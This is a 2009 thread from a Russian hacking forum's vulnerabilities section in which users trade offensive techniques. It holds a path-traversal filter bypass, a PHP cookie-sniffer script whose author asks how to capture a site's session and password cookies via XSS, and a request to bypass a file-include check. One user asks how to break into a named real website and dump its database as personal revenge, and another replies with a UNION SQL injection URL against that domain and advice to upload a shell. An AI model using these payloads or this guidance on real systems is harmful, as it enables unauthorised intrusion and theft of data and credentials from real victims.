HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 01.04.2009, 19:34
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Пробовал на 2 хостах, не пашут оба варианта.
 
Ответить с цитированием

  #2  
Старый 01.04.2009, 20:03
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

на винде:

lol=./.\file

Схема такая это ./.\ пройдёт первую проверку без изменений, а после второй срежется "/".
В итоге получим ..\

Если нужно ещё выше, думаю всё понятно ./.\./.\./.\ и т.д.

Тоесть "." впихнуть можно, а вот "/" будут резаться
 
Ответить с цитированием

  #3  
Старый 01.04.2009, 20:07
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

К теме о Xss
Есть 3 имени cookie.
PHPSESSID, .sait.ru_c_user, .sait.ru_c_password
Как заставить скрипт записывать эти 3 параметра?:
Цитата:
<?
$data_filename = "data.txt";
$max_entries =0; // 0 для снятия лимита
require 'functions.php';
cleaner();
$sniffed['date'] = date("d.m.Y H:i");
$sniffed['ip'] = $_SERVER['REMOTE_ADDR'];
$sniffed['referer'] = htmlspecialchars(stripslashes(urldecode($_SERVER['HTTP_REFERER'])));
$sniffed['query'] = htmlspecialchars(stripslashes(urldecode($_SERVER['QUERY_STRING'])));
//$sniffed['query'] = ($_SERVER['QUERY_STRING']);
$sniffed['agent'] = htmlspecialchars(stripslashes($_SERVER['HTTP_USER_AGENT']));
$sniffed['real_ip'] = htmlspecialchars(stripslashes($_SERVER['HTTP_X_FORWARDED_FOR']));

$entrie = serialize($sniffed);
$data = array();
$data_content = get_file_content($data_filename);
if ($data_content !== NULL) $data = unserialize($data_content);
$data[] = $entrie;
$data_content = serialize($data);
put_file_content($data_filename, $data_content);
echo "<script>window.location.href='Location:http://www.sait.ru/;</script>";
?>
Супер переменная
$sniffed['query'] = ($_SERVER['QUERY_STRING']);
Записывает данные из PHPSESSID, как указать на то, чтобы она записывала данные из
.sait.ru_c_user, .sait.ru_c_password?

CMS платная, социалка ablespace
 
Ответить с цитированием

  #4  
Старый 01.04.2009, 20:28
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

Похожий вопрос ... можно ли как нибудь обойти =>

Цитата:
<?
$file = $_REQUEST["file"];
$file = ereg_replace("[\\/]+", "/", $file);
$file = ereg_replace("\.+[\\/]", "", $file);
print $file."<br>";
if (strpos($file, "/long/")!==false)
{
echo "$file";
if (strpos($file, "/long_word/long/")===0 ||
strpos($file, "/very_long_word/")===0) include($_SERVER["DOCUMENT_ROOT"]."/".$file);
print $file;
}

?>
 
Ответить с цитированием

  #5  
Старый 02.04.2009, 14:18
hackmen
Участник форума
Регистрация: 22.10.2007
Сообщений: 119
Провел на форуме:
598447

Репутация: 123
По умолчанию

Сорри, если не туда запостил.

Может есть у кого словарь с именами таблиц/полей.
Был бы очень признателен и отблагодарил бы +. Ссылку в пм, пожалуйста.
 
Ответить с цитированием

  #6  
Старый 02.04.2009, 14:23
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию

Цитата:
Сообщение от hackmen  
Сорри, если не туда запостил.

Может есть у кого словарь с именами таблиц/полей.
Был бы очень признателен и отблагодарил бы +. Ссылку в пм, пожалуйста.
https://forum.antichat.ru/thread93547.html
пользуемся поиском.
линк продублировал в пм.
 
Ответить с цитированием

  #7  
Старый 02.04.2009, 15:44
joomler
Новичок
Регистрация: 19.02.2009
Сообщений: 25
Провел на форуме:
57669

Репутация: 10
По умолчанию

Доброго дня всем
Подскажите как взломать сайт и слить его базу ?

У меня есть все файлы от сайта
Есть название и пароль от базы данных
Скрипт новости выдает ошибку при запросе: http://www.rikor-electronics.ru/news.php?id=50'
вот сама ошибка: .mysql_error().

Еслиб был доступ к фтп то можно было бы залить шел, но у меня его нет
Как вот с этими данными слить базу ? помогите... создатель этого сайта предал просто меня ( а дружили с детства
 
Ответить с цитированием

  #8  
Старый 02.04.2009, 15:51
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию

http://www.rikor-electronics.ru/news.php?id=-50+union+select+version(),2,3,4--
>>Есть название и пароль от базы данных
Лей шелл и дампи бд)
 
Ответить с цитированием

  #9  
Старый 02.04.2009, 15:52
joomler
Новичок
Регистрация: 19.02.2009
Сообщений: 25
Провел на форуме:
57669

Репутация: 10
По умолчанию

а как я не очень понимаю в этом?

помогите пожалуйста я Вам подарю еще один сайт с паролями!

Последний раз редактировалось joomler; 02.04.2009 в 15:55..
 
Ответить с цитированием

  #10  
Старый 02.04.2009, 16:02
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию

там установлен phpmyadmin?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ